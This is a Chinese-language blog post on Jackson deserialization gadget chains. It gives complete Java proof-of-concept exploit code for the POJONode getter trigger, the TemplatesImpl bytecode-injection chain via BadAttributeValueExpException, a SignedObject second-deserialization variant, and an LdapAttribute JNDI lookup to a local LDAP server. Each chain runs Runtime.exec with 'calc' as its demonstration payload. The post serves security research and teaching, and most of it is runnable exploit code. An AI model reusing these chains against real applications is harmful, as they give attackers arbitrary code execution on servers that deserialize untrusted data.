前言

Springboot一般都会自带JackSon这个依赖包,JackSonFastjson有相同的功效

简单复现

package com.example.jakeson.demo;
import java.io.IOException;
import java.io.Serializable; public class User implements Serializable {
public User() {
} public Object getName() throws IOException {
Runtime.getRuntime().exec("calc");
return "1";
} public Object setName(String name) {
System.out.println("setname");
return "2";
}
}
package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;

public class JakesonDemo {
public static void main(String[] args) {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}

运行即可弹计算器

Jackson反序列化利用链

注意点

PoJoNode类是继承ValueNodeValueNode是继承BaseJsonNode类,我们看看BaseJsonNode



它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,解决办法就是重写BaseJsonNode

把这个writeReplace注释掉即可

TemplatesImpl链

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64; public class TemplatesImplDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String; } public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString

进入到重写的BaseJsonNode类的toString方法

中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter

SignObject链

二次反序列化,无需多讲

package com.example.jakeson.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64; public class SignObjectDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[][] bytes = new byte[][]{ct.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,pojoNode2);
System.out.println(serial(exp2));
deserial(serial(exp2));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String; } public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

LdapAttribute链

package com.example.jakeson.demo;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.management.BadAttributeValueExpException;
import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64; public class LdapAttributeDemo {
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:1099/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String; } public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

LdapAttribute类中有getter方法调用了lookup



两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,具体原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思路吧

JackSon反序列化通杀的更多相关文章

  1. 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击

    通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...

  2. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

  3. Postsharp 破解工具(通杀版,持续更新)

    2019.04.18 重要说明 VS2019 正式版已经发布了,Postsharp v6.2.2-Preview(预览版)也开始支持VS2019.不过截至目前,该预览版还不是特别稳定,因此提醒下大家在 ...

  4. [.NET] [.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=

    [.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=- 识别方法: 如果无法调戏,请上传附件艾特我.............发帖不易啊..身处大西 ...

  5. DedeCMS全版本通杀SQL注入漏洞利用代码及工具

    dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...

  6. 飘逸的python - 极简的二叉树前中后序通杀函数

    对于任一结点.能够按某种次序运行三个操作: 訪问结点本身(N) 遍历该结点的左子树(L) 遍历该结点的右子树(R) 用来表示顺序,即,前序NLR/中序LNR/后序LRN. 以下我们用namedtupl ...

  7. X86逆向2:提取按钮通杀特征码

    本章我们将学习特征码的提取与定位,特征码是软件中一段固定的具有标志性的代码片段,特征码的用途非常广泛,最常见的就是杀毒软件的查杀了,查杀就是根据特征码定位技术实现的,再比如木马的免杀也是修改了特征码的 ...

  8. CVE-2017-11882:Microsoft office 公式编辑器 font name 字段栈溢出通杀漏洞调试分析

    \x01 漏洞简介 在 2017 年 11 月微软的例行系统补丁发布中,修复了一个 Office 远程代码执行漏洞(缓冲区溢出),编号为 CVE-2017-11882,又称为 "噩梦公式&q ...

  9. 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!

    /文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...

  10. r0capture安卓应用层通杀脚本-使用文档

    本文所有教程及源码.软件仅为技术研究.不涉及计算机信息系统功能的删除.修改.增加.干扰,更不会影响计算机信息系统的正常运行.不得将代码用于非法用途,如侵立删! r0capture安卓应用层通杀脚本-使 ...

随机推荐

  1. git 常见命令和资源

    git练习 常用git清单 强制切换分支所指位置 git branch -f main c3强制分支main指向c3 git branch -f main HEAD~3强制分支main指向head的父 ...

  2. Linux 网络编程从入门到进阶 学习指南

    前言 大家好,我是小康.在上一篇文章中,我们探讨了 Linux 系统编程的诸多基础构件,包括文件操作.进程管理和线程同步等,接下来,我们将视野扩展到网络世界.在这个新篇章里,我们要让应用跳出单机限制, ...

  3. Kubernetes: kube-controller-manager 源码分析

    0. 前言 在 Kubernetes 架构中,controller manager 是一个永不休止的控制回路组件,其负责控制集群资源的状态.通过监控 kube-apiserver 的资源状态,比较当前 ...

  4. 酷呆桌面 CooDesker 桌面整理工具 - 软件推荐

    酷呆桌面 CooDesker 桌面整理工具 - 软件推荐 推荐理由 满足了我对桌面映射到某一目录的需求,这样桌面就真的干净了 免费且没有广告 可进入目录继续延展,双击空白地方返回上一层,非常方便 5M ...

  5. 【开发】操作系统应用基础-Linux常用Shell命令

    一 Linux操作系统和Shell 简介 操作系统(Operating Systems, OS)实际上是一种用于计算机的软.硬件资源管理调度的系统级软件,它的主体是内核(Kernel),其主要负责进程 ...

  6. python中bytes转int的实例(bytearray to short int in python)

    python很多数据都是bytes格式的,经常需要转换成int或者short,笔者实际项目有需求,这里就做个笔记吧. 实例一: bytes转short:(无符号类型) import struct ba ...

  7. [置顶] drools规则引擎因为内存泄露导致的内存溢出

    进入这个问题之前,先了解一下drools: 在很多行业应用中比如银行.保险领域,业务规则往往非常复杂,并且规则处于不断更新变化中,而现有很多系统做法基本上都是将业务规则绑定在程序代码中. 主要存在的问 ...

  8. 关于全景(360)图片拼接的方法(Opencv3.0 Stitcher)

    PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 前置说明   本文作为本人csdn blog的主站的备份.(Bl ...

  9. 博客调整为MarkDown和图床外链、配置Gitee作为图床

    PS:要转载请注明出处,本人版权所有. PS: 这个只是基于<我自己>的理解, 如果和你的原则及想法相冲突,请谅解,勿喷. 前置说明   本文作为本人csdn blog的主站的备份.(Bl ...

  10. CodeForces Hello 2024 个人题解(A~C)

    A. Wallet Exchange 时间限制: 1秒 内存限制: 256兆 输入: 标准输入 输出: 标准输出 Alice and Bob are bored, so they decide to ...